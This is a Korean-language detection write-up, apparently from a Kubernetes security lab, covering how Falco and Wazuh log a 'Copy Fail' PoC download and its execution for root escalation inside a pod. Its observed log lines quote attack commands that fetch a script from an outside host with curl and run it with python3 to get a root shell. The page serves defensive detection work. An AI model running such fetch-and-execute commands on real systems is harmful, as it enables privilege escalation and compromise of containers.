Spacebar Campaigns

FL-003 Falco Copy Fail Log

Log ID:
FL-003
Source:
SB-04 K8s Node
Representative Path:
journalctl -u falco-modern-bpf.service
Collection:
Wazuh agent journald input (/var/ossec/etc/ossec.conf)
Primary Use:
Copy Fail PoC 다운로드 및 실행을 통한 컨테이너 내부 root 권한 상승 행위 확인

공격 행위 요약

FL-003은 NodeFall 캠페인에서 공격자가 장악한 Pod 내부에서 Copy Fail PoC를 다운로드하고 실행해 컨테이너 내부 root 권한을 획득하는 행위를 설명하는 로그이다. 공격자는 /tmp 경로에 PoC 파일을 생성한 뒤 python3 /tmp/exp.py 형태로 실행하여 제한된 컨테이너 사용자 권한을 root로 상승시켰다.

이 로그의 핵심은 단순한 파일 다운로드가 아니라, 외부에서 가져온 스크립트가 컨테이너 내부 임시 경로에 저장되고 곧바로 실행되며 권한 상승 흐름으로 이어졌다는 점이다. curl을 통한 PoC 다운로드, /tmp/exp.py 생성, python3 실행, root shell 획득 흐름이 함께 관찰되면 컨테이너 내부 권한 상승 단계의 주요 증거로 볼 수 있다.

로그 발생 위치

구분위치설명
K8s NodeLinux Kernel syscall컨테이너 내부에서 curl, python3, sh 등의 프로세스 실행과 /tmp/exp.py 파일 생성 행위가 syscall로 발생
K8s Nodefalco-modern-bpf.serviceFalco가 syscall을 관찰하고 PoC 다운로드/실행 또는 root 권한 획득 행위와 매칭되면 탐지 이벤트 생성
K8s Nodejournalctl -u falco-modern-bpf.serviceFalco 탐지 이벤트가 systemd journal에 기록되는 대표 확인 위치

수집 방식

구분방식
FalcoeBPF/driver를 통해 Linux Kernel syscall을 관찰하고, Falco rule의 condition과 매칭되면 output 형식의 탐지 이벤트를 생성
journaldFalco가 생성한 탐지 이벤트를 falco-modern-bpf.service의 systemd journal 로그로 기록
Wazuh agent/var/ossec/etc/ossec.conf의 journald 수집 설정을 통해 Falco 서비스 로그를 수집
Wazuh manager수집된 Falco 로그를 /var/ossec/etc/rules/local_rules.xml의 룰과 매칭하여 Wazuh alert로 변환
Wazuh Dashboard생성된 Wazuh alert를 분석자가 확인할 수 있는 대시보드 이벤트로 표시

로그 출력 명령어

sudo journalctl -u falco-modern-bpf.service --no-pager \ | grep -E "\[NF3\] Exploit Download|\[NF3\] Exploit Execute|\[NF3\] Root Gained"

실제 관측 로그

May 22 04:11:21 ip-10-0-133-48 falco[24039]: 04:11:21.026825453: Warning [NF3] Exploit Download (container=react-app file=<NA> 
proc=curl https://copy.fail/exp pod=react-app-685875587f-hv72r ns=default) container_id=283cb33c1045 container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
May 22 04:11:26 ip-10-0-133-48 falco[24039]: 04:11:26.085784977: Critical [NF3] Exploit Execute (container=react-app 
proc=python3 /tmp/exp.py pod=react-app-685875587f-hv72r ns=default) container_id=283cb33c1045 container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
May 22 04:11:26 ip-10-0-133-48 falco[24039]: 04:11:26.142579220: Critical [NF3] Root Gained (container=react-app user=root proc=sh pod=react-app-685875587f-hv72r ns=default) container_id=283cb33c1045 container_name=react-app 
container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default

주요 필드

필드의미예시
evt.timeFalco 탐지 이벤트 발생 시간04:11:21.026825453, 04:11:26.085784977, 04:11:26.142579220
priorityFalco 탐지 심각도Warning, Critical
rule/messageFalco가 탐지한 행위명[NF3] Exploit Download, [NF3] Exploit Execute, [NF3] Root Gained
user행위를 수행한 사용자root
proc실행된 프로세스 또는 명령curl https://copy.fail/exp, python3 /tmp/exp.py, sh
cmd실행된 명령어 또는 인자curl https://copy.fail/exp, python3 /tmp/exp.py
file생성 또는 실행된 파일/tmp/exp.py, <NA>
container_name행위가 발생한 컨테이너 이름react-app
container_id컨테이너 식별자283cb33c1045
container_image_repository컨테이너 이미지 저장소docker.io/library/react2shell-vulnlab-hi-react2shell-tribune
container_image_tag컨테이너 이미지 태그latest
k8s_pod_name행위가 발생한 Kubernetes Podreact-app-685875587f-hv72r
k8s_ns_namePod가 속한 namespacedefault
messagejournald에 기록된 Falco 원본 로그Warning [NF3] Exploit Download ..., Critical [NF3] Exploit Execute ..., Critical [NF3] Root Gained ...

커버 대상 Techniques Used

TechniqueMapping Reason
T1068 Exploitation for Privilege Escalation장악한 Pod 내부에서 Copy Fail PoC를 다운로드하고 python3로 실행하여 컨테이너 내부 사용자 권한을 root로 상승시키는 행위를 탐지한다.

탐지 포인트

Technique관찰 행위주요 필드
T1068 Exploitation for Privilege Escalation장악한 컨테이너 내부에서 외부 URL을 통해 Copy Fail PoC가 다운로드되는지 확인한다. 단순 curl 실행이 아니라 /tmp/exp.py와 같은 임시 경로에 권한 상승용 스크립트가 저장되는 흐름을 함께 본다.rule/message, user, proc, cmd, cwd, file, container_name, k8s_pod_name, k8s_ns_name
T1068 Exploitation for Privilege Escalation다운로드된 PoC가 python3 /tmp/exp.py 형태로 실행되는지 확인한다. 이는 외부에서 가져온 코드가 실제 권한 상승 시도로 이어졌는지를 판단하는 핵심 구간이다.rule/message, proc, cmd, user, container_id, container_name, k8s_pod_name, k8s_ns_name
T1068 Exploitation for Privilege EscalationPoC 실행 이후 컨테이너 내부에서 root 권한 셸이 획득되었는지 확인한다. 기존 nextjs 사용자 권한에서 uid=0(root) 흐름으로 전환되면 권한 상승 성공 흔적으로 볼 수 있다.rule/message, user, user_uid, proc, cmd, container_name, k8s_pod_name, k8s_ns_name, message